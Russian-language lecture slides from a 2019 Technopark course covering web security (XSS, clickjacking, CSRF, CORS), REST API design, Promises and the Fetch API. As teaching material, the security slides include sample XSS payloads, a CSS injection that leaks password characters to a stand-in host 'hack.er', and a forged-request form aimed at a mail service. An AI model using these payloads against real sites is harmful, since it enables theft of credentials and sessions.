Безопасность web-приложений, архитектура web-приложений и разработка API

Технопарк, весна, 2019 г.

Безопасность web-приложений
Слайды доступны по ссылке
frontend-park-mailru.firebaseapp.com

Same Origin Policy

Правило ограничения домена (Same Origin Policy — «Принцип одинакового источника» a.k.a. «Политика единого источника») — это важная концепция безопасности и работы web-приложений. Она призвана ограничивать возможности пользовательских сценариев из определённого источника по доступу к ресурсам и информации из других источников

Подробнее

Same Origin Policy

Вводится понятие источника (адрес в интернете, откуда был загружен ресурс). Два URL считаются имеющим один источник («same origin»), если у них одинаковый протокол, домен и порт

У этих ресурсов одинаковые источники:

Same Origin Policy

У этих ресурсов разные источники:

Типы взаимодействия с ресурсами

Любой способ взаимодействия с ресурсами в web-приложениях можно отнести к одной из трёх категорий:

Same Origin Policy

Способы обхода Same Origin Policy

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS)

Cross-Site Scripting — атака, заключающаяся во внедрении на страницу вредоносного кода, который будет выполнен в контексте источника конкретного сайта с целью обхода политик единого источника, и взаимодействии этого кода с веб-сервером злоумышленника

С помощью XSS злоумышленник может украсть из браузера пользователя sensitive-данные (например, cookies с ID сессии пользователя, приватные данные пользователя или данные из форм), может выполнить от имени пользователя различные действия или, например, провести DOS-атаку

Пример уязвимости

		<?php
		    $name = $_REQUEST ['name'];
		?>
		<html>
		    <head><title>Портал Технопарка</title></head>
		    <body>
		        Hello, <?php echo $name; ?>!
		    </body>
		</html>
		 
	

Использование уязвимости

		const html = '<script>alert("XSS")</script>';
		const link =
		    'https://park.mail.ru/?name=' + encodeURIComponent(html);
		 
		console.log(link);
		// https://park.mail.ru/?name=%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E
		 
	

Пример уязвимости

		const response = http.get('/message');
		const messageText = response.content;
		 
		const chat = document.getElementById('chat');
		chat.innerHTML += messageText;
		 
	

Использование уязвимости

		// так не сработает
		chat.innerHTML += `
		    </div><script>alert("XSS")</script>
		`;
		 
	
		// а вот так - получится
		chat.innerHTML += `
		    </div><img src="/404.png" onerror="alert('XSS')">
		`;
		 
	

Пример уязвимости

		// делаем сайт с oauth-авторизацией
		const backRedirectUrl =
		    new URLSearchParams(window.location.search).get('back');
		 
		const link = document.createElement('a');
		link.textContent = 'Click Me!';
		link.href = backRedirectUrl;
		document.appendChild(link);
		 
	

Использование уязвимости

		// находимся на
		// https://park.mail.ru/?back=javascript%3Aalert%28%27XSS%27%29%3B
		const backRedirectUrl = // "javascript:alert('XSS');"
		    new URLSearchParams(window.location.search).get('back');
		 
		const link = document.createElement('a');
		link.href = backRedirectUrl;
		 
		// <a href="javascript:alert('XSS');">Click Me!<a>
		 
	

Пример уязвимости

		const avatarUrl = http.get('/me').avatarUrl;
		 
		const styleContent = `
		    #avatar {
		        background: url(${avatarUrl});
		    }
		`;
		 
		const style = document.createElement('style');
		style.textContent = styleContent;
		document.appendChild(style);
		 
	

Использование уязвимости

		const avatarUrl = http.get('/me').avatarUrl;
		console.log(avatarUrl); -> `);}
		[type=password][value^='a'] { background-image: url(https://hack.er/a); }
		[type=password][value^='b'] { background-image: url(https://hack.er/b); }
		[type=password][value^='c'] { background-image: url(https://hack.er/c); }
		[type=password][value^='d'] { background-image: url(https://hack.er/d); }
		[type=password][value^='e'] { background-image: url(https://hack.er/e); }
		abc { background: url(`
		 
		 
	

Использование уязвимости

		#avatar {
		    background: url();}
		[type=password][value^='a'] { background-image: url(https://hack.er/a); }
		[type=password][value^='b'] { background-image: url(https://hack.er/b); }
		[type=password][value^='c'] { background-image: url(https://hack.er/c); }
		[type=password][value^='d'] { background-image: url(https://hack.er/d); }
		[type=password][value^='e'] { background-image: url(https://hack.er/e); }
		div { background: url();
		}
		 
		 
	

Использование уязвимости

		#avatar {
		    background: url();}
		[type=password][value^='a'] { background-image: url(https://hack.er/a); }
		[type=password][value^='b'] { background-image: url(https://hack.er/b); }
		[type=password][value^='c'] { background-image: url(https://hack.er/c); }
		[type=password][value^='d'] { background-image: url(https://hack.er/d); }
		[type=password][value^='e'] { background-image: url(https://hack.er/e); }
		div { background: url();
		}
		 
		 
	

Способы защиты от XSS

Clickjacking (угон кликов)

Элемент <iframe>

Элемент <iframe> создаёт фрейм — область заданных размеров, которая находится внутри обычного документа, в которую можно загружать любые другие независимые документы

Элемент <iframe>

<iframe src="https://www.w3.org/" width="900" height="500">

Атака Clickjacking (угон кликов)

Атака Clickjacking — механизм обмана пользователей, при котором злоумышленник может получить доступ к конфиденциальной информации или даже заставить пользователя выполнить определённые действия, заманив его на внешне безобидную страницу или внедрив вредоносный код на безопасную страницу

Атака Clickjacking (угон кликов)

  1. Заманиваем пользователя на нашу страницу
  2. Открываем на нашей странице iframe с facebook'ом, делаем ему opacity: 0; и позиционируем под курсором пользователя
  3. Смещаем содержимое iframe так, чтобы в окне оказалась кнопка подписки на сообщество
  4. Пользователь делает клик
  5. ???????
  6. PROFIT!

Защита от Clickjacking

Используем заголовок X-Frame-Options:

Какая ещё есть угроза
связанная с iframe?

У элемента iframe есть свойства, позволяющие получить доступ до содержимого страницы:

Ограничения iframe

Общение между iframe напрямую

Присваивая в document.domain одинаковые значения, можно разрешить страницам с разных поддоменов общение друг с другом через iframe напрямую

		// на странице https://park.mail.ru/
		document.domain; // 'park.mail.ru'
		document.domain = 'mail.ru'; // success
		document.domain = 'e.mail.ru'; // error
		document.domain = 'google.com'; // error
		 
		// на странице https://e.mail.ru/
		document.domain = 'mail.ru'; // success
		 
	

Общение с помощью postMessage

		otherWindow.postMessage(message, targetOrigin);
		// otherWindow - любой объект класса Window
		    - текущий window
		    - полученный через вызов window.open()
		    - полученный через iframe.contentWindow или window.parent
		 
		// targetOrigin - origin ресурсов, которые получат сообщения
		                  можно указать wildcard: '*'
		 
	

Событие message

		window.addEventListeners('message', function (event) {
		    console.log(event.data); // присланные данные
		    console.log(event.origin); // origin, из которого пришло сообщение
		    console.log(event.source); // ссылка на окно-отправитель сообщения
		});
		 
	

Подробнее

Cross-Site Request Forgery (CSRF)

Атака CSRF

  1. Пользователь заходит на сайт, на котором размещена вот такая форма:
  2. 			<form action="https://e.mail.ru/api/v1/messages/send" method="POST">
    			    <input name="message" value="Evil message">
    			    <!-- ... -->
    			</form>
    			 
    		
  3. При заходе на сайт, js-скрипт вызывает submit() у формы
  4. Отправляется POST-запрос на страницу https://e.mail.ru/api/v1/messages/send
  5. Т.к. пользователь авторизован в Почте@Mail.Ru, то запрос отправляется с куками пользователя и от имени пользователя отправляется письмо

В атаке используется слабая
сторона авторизации через cookies

Cookies позволяют проверить, кто отправил определённый запрос, но они ничего не говорят о данных этого запроса

Браузеры не понимают, как различить, было ли действие явно совершено пользователем (как, скажем, нажатие кнопки на форме или переход по ссылке) или пользователь неумышленно выполнил это действие (зайдя на "плохой" сайт)

Защита от CSRF-атак с помощью
CSRF-токенов

  1. При первом запросе на сервер в теле ответа или в заголовке X-CSRF-Token сервер передаёт на клиент token — случайную строку, и клиент сохраняет её у себя в какой-то переменной, но не в cookies
  2. При последующих запросах на сервер клиент добавляет этот токен в заголовки запросов или в специальное поле в теле запроса
  3. Сервер на каждый запрос валидирует token и если он не был передан, либо он неверный, то сервер отклоняет этот запрос
  4. Т.к. злоумышленнику токен не известен, то он не сможет подделать наш запрос

Как законно обойти ограничения Same Origin Policy?

Архитектура наших приложений

Архитектура наших приложений?

HTTP access control (CORS)

Cross-Origin Resource Sharing (CORS) standard — спецификация, позволяющая обойти ограничения, которые Same Origin Policy накладывает на кросс-доменные запросы

Подробнее

Cross Origin HTTP-запросы ( XHR )

		// Находимся на https://evil.com/
		const xhr = new XMLHttpRequest();
		xhr.open('GET', 'https://e.mail.ru/messages/inbox/', false);
		xhr.send();
		 
		console.log(xhr.responseText)
		 
	

Запросы делятся на два типа

Простыми считаются запросы, если они удовлетворяют следующим двум условиям:

CORS для простых запросов

			GET /data HTTP/1.1
			Host: e.mail.ru
			Origin: http://frontend.tech-mail.ru
			 
		
			HTTP/1.1 200 OK
			Content-Type: text/html; charset=UTF-8
			Access-Control-Allow-Origin: http://frontend.tech-mail.ru
			// Access-Control-Allow-Origin: *
			 
		

CORS для простых запросов:
дополнительные заголовки

			HTTP/1.1 200 OK
			Content-Type: text/html; charset=UTF-8
			Access-Control-Allow-Origin: http://frontend.tech-mail.ru
			...
			X-UID: 42
			X-Secret: 2c9de507f2c54aa1
			Access-Control-Expose-Headers: X-Uid, X-Authentication
			 
		

CORS для простых запросов:
данные авторизации

			const xhr = new XMLHttpRequest();
			xhr.withCredentials = true;
			xhr.open('GET', 'https://e.mail.ru/messages/inbox/', false);
			 
		
			HTTP/1.1 200 OK
			Content-Type: text/html; charset=UTF-8
			Access-Control-Allow-Origin: domain // '*' запрещено
			Access-Control-Allow-Credentials: true
			 
		

Запросы делятся на два типа

Остальные запросы считаются "непростыми" , и при отправке таких запросов необходимо понять, согласен ли сервер на обработку таких запросов. Эти запросы всегда отсылаются со специальным заголовком Origin

"Непростые" запросы

При отправке "непростого" запроса, браузер сделает на самом деле два HTTP-запроса.

"Непростые" запросы

Ответ на предзапрос может содержать следующие заголовки

			HTTP/1.1 200 OK
			Content-Type: text/plain
			Access-Control-Allow-Methods: DELETE, PUT, HEAD, OPTIONS, GET, POST
			Access-Control-Allow-Headers: Content-Type, User-Agent ...
			         ... X-Requested-With, If-Modified-Since, Cache-Control
			Access-Control-Max-Age: 86400
			 
		

Работа с API

Что есть API

API (application programming interface, интерфейс программирования приложений) — набор готовых классов, процедур, функций, структур и констант, предоставляемых приложением (библиотекой, сервисом) или операционной системой для использования во внешних программных продуктах. Используется программистами при написании всевозможных приложений

Что есть API

API определяет функциональность , которую предоставляет программа (модуль, библиотека), при этом API позволяет абстрагироваться от того, как именно эта функциональность реализована

Web API — используется в веб-разработке, как правило, определённый набор HTTP-запросов, а также определение структуры HTTP-ответов, для выражения которых используют XML или JSON форматы

Сема́нтика

Сема́нтика — раздел лингвистики, изучающий смысловое значение единиц языка


Работодатель: Назовите вашу главную слабость
Кандидат: Я даю семантически корректные, но практически неприменимые ответы на вопросы
Работодатель: Могли бы вы привести пример?
Кандидат: Да, мог бы

CRUD

CRUD (create, read, update, delete) — акроним, обозначающий четыре базовые функции, используемые при работе с персистентными хранилищами данных, описывает семантику методов HTTP

REST

REST (в применении к именованию ресурсов) — набор методик и практик, которые используются для именования ресурсов, с которыми работает система

Все типы ресурсов делятся на две категории:

REST

Коллекция книг (books):

REST

Коллекция пользователей (users):

REST + CRUD = семантическое API

		Получение всех книг
		GET /books HTTP/1.1
		Host: awesome.com
		 
		Получение конкретной книги
		GET /books/3-720-55486-7 HTTP/1.1
		Host: awesome.com
		 
		Удаление конкретной книги
		DELETE /books/3-720-55486-7 HTTP/1.1
		Host: awesome.com
		 
	

Документирование API

Другие способы организации API

Promise и
Fetch API

Асинхронность в JavaScript

Асинхронность в JavaScript

		http.get('/user', function (err, user) {
		    if (err) {
		        console.error(err);
		        return;
		    }
		    console.log('User is', user);
		});
		 
		console.log('Waiting...');
		 
	

Callback Hell

		http.post('/signup', user, function (err, resp1) {
		    if (err) { return console.error(err); }
		    http.get(`/users/${resp1.id}`, function (err, resp2) {
		        if (err) { return console.error(err); }
		        http.get(`/photos/${resp2.avatarId}`, function (err, avatar) {
		            if (err) { return console.error(err); }
		            // ... callback hell!
		        });
		    });
		});
		 
	

Callback Hell

Избавляемся от пирамид

		http.post('/signup', user, onSignup);
		 
		function onSignup (err, resp1) {
		    if (err) { return console.error(err); }
		    http.get(`/users/${resp1.id}`, onLoadUser);
		}
		 
		function onLoadUser (err, resp2) {
		    if (err) { return console.error(err); }
		    http.get(`/photos/${resp2.avatarId}`, onLoadAvatar);
		}
		 
	

Try, catch

		try {
		    // Выбрасываем исключение вручную
  		    throw 'Ooops!';
		} catch (err) {
		    alert(err); // Привет, я ошибка!
		}
		 
	

Асинхронные ошибки

		try {
		    http.get('/user', function (err) {
		        if (err) {
		            throw err;
		        }
		        console.log('User is', user);
		    });
		} catch (err) {
		    alert(err); // Не выполнится
		}
		 
	

Асинхронные ошибки

		const callback = function (err) {
		    if (err) {
		        throw err;
		    }
		    console.log('User is', user);
		};
		 
		try {
		    http.get('/user', callback);
		} catch (err) {
		    alert(err); // Не выполнится
		}
		 
	

Futures или Promises

Термин promise был предложен в 1976 году Дэниэлом Фридманом и Дэвидом Вайзом, а Питер Хиббард назвал его eventual. Похожая концепция под названием future была предложена в 1977 году в статье Генри Бейкера и Карла Хьюитта

Что такое Promise?

Promise

Promise (обещание) — представляет собой обертку для значения, неизвестного на момент создания обещания

Он позволяет обрабатывать результаты асинхронных операций так, как если бы они были синхронными: вместо конечного результата асинхронного метода возвращается обещание получить результат в некоторый момент в будущем

Promise

Promises (промисы) — это специальные объекты, которые могут находиться в одном из трёх состояний:

Promise

		const promise = new Promise(function(resolve, reject) {
		    // Здесь можно выполнять любые действия
		 
		    // вызов resolve(result) переведёт промис в состояние fulfilled
		    // вызов reject(error) переведёт промис в состояние rejected
		});
		 
		// Можно создать сразу "готовый" промис
		const fulfilled = Promise.resolve(result);
		// const fulfilled = new Promise((resolve, _) => resolve(result));
		const rejected = Promise.reject(error);
		// const rejected = new Promise((_, reject) => reject(error));
		 
	

Promise

Основной способ взаимодействия с промисом это регистрация функций обратного вызова для получения конечного результата промиса или сообщения о причине, по которой он не был выполнен. Иными словами, на промисы можно навесить два коллбека:

Promise

		const promise = new Promise( ... );
		 
		// Можно навесить их одновременно
		promise.then(onFulfilled, onRejected);
		 
		// Можно по отдельности
		// Только обработчик onFulfilled
		promise.then(onFulfilled);
		// Только обработчик onRejected
		promise.then(null, onRejected);
		promise.catch(onRejected); // Или так
		 
	

Promise

		const promise = new Promise(function(resolve, reject) {
		    // do smth
		    resolve('success'); // or
		    // reject(new Error('failure'));
		});
		 
		promise
		    .then(res => console.log(res))
		    .catch(err => console.error(err));
		 
	

Какая польза от промисов?

Добавление нескольких коллбэков

		// 'cb1 success', 'cb2 success'
		const promise = Promise.resolve('success');
		 
		promise.then(res => { console.log('cb1', res); }); // 1
		promise.then(res => { console.log('cb2', res); }); // 2
		 
	

Чейнинг промисов

		// 'value 1', 'value 2', 'value 3'
		const promise = Promise.resolve('value 1');
		 
		const p2 = promise
		    .then(res => { console.log(res); return 'value 2'; }) // 1
		    .then(res => { console.log(res); return 'value 3'; }) // 2
		    .then(res => { console.log(res); });                  // 3
		 
		p2 === promise // false
		 
	

Обработка асинхронных ошибок

		// 'value 1', 'Error!', 'Error catched!'
		const promise = Promise.resolve('value 1');
		 
		promise
		    .then(res => { console.log(res); throw 'Error!'; })             // 1
		    .then(res => { console.log('foo'); })
		    .then(res => { console.log('bar'); })
		    .then(res => { console.log('baz'); })
		    .catch(err => { console.error(err); return 'Error catched!'; }) // 2
		    .then(res => { console.log(res); });                            // 3
		 
	

Из промиса можно возвращать
промис!

		// 'foo', 'baz', 'bar', 'foobar'
		const promise1 = Promise.resolve('foo')
		    .then(res => { console.log(res); return 'bar'; });    // foo
		 
		const promise2 = Promise.resolve('baz')
		    .then(res => { console.log(res); return promise1; })  // baz
		    .then(res => { console.log(res); return 'foobar'; })  // bar
		    .then(res => { console.log(res); });                  // foobar
		 
	

Промисификация

Оборачивание асинхронного функционала в функцию, возвращающую промис

		function PromiseGet(url) {
		    return new Promise(function (resolve, reject) {
		        http.Get(url, function (err, response) {
		            if (err) { reject(err) }
		            resolve(response);
		        });
		    });
		}
		 
	

Callback Hell!

		http.post('/signup', user, function (err, resp1) {
		    if (err) { return console.error(err); }
		    http.get(`/users/${resp1.id}`, function (err, resp2) {
		        if (err) { return console.error(err); }
		        http.get(`/photos/${resp2.avatarId}`, function (err, avatar) {
		            if (err) { return console.error(err); }
		            // ... callback hell!
		        });
		    });
		});
		 
	

Callback Hell! Красота :)

		PromisePost('/signup', user)
		    .then(resp1 => PromiseGet(`/users/${resp1.id}`))
		    .then(resp2 => PromiseGet(`/photos/${resp2.avatarId}`))
		    .then(avatar => { ... })
		    .catch(err => console.error(err));
		 
	

Promise.all

		// Делаем что-нибудь асинхронное и важное параллельно
		Promise.all([
			  PromiseGet('/user/1'),
			  PromiseGet('/user/2'),
		]).then(function(users) {
			  // Результатом станет массив из значений всех промисов
			  users.forEach(function(user, i) {
			  	  console.log(`User #${i}: ${value}`);
			  });
		});
		 
	

Promise.race

		// Делаем что-нибудь асинхронное и важное наперегонки!
		Promise.race([
			  promiseSomething(),
			  promiseSomethingElse()
		]).then(function(result) {
			  // Результатом станет значение самого "быстрого" промиса
			  console.log(`Result: ${value}`);
		});
		 
	

Fetch API

Метод fetch — это XMLHttpRequest нового поколения. Он предоставляет улучшенный интерфейс для осуществления запросов к серверу: как по части возможностей и контроля над происходящим, так и по синтаксису, так как построен на промисах

		// Синтаксис метода fetch:
		const fetchPromise = fetch(url[, options]);
	

Fetch API options

Fetch API

		fetch('/books', {
			method: 'POST',
			mode: 'cors',
			credentials: 'include',
			data: JSON.stringify({
				title: 'Изучение Фронтенда',
				authors: [
					'Анатолий Остапенко', 'Дмитрий Дорофеев',
					'Сергей Володин', 'Алексей Тюльдюков'
				]
			})
		});
		 
	

ВАЖНО: работа с CORS в Fetch API

		fetch('/books', {
			method: 'POST',
			mode: 'cors',
			credentials: 'include',
			data: JSON.stringify({
				title: 'Изучение Фронтенда',
				authors: [
					'Анатолий Остапенко', 'Дмитрий Дорофеев',
					'Сергей Володин', 'Алексей Тюльдюков'
				]
			})
		});
		 
	

Полезные ссылки

Полезные ссылки

Всем спасибо!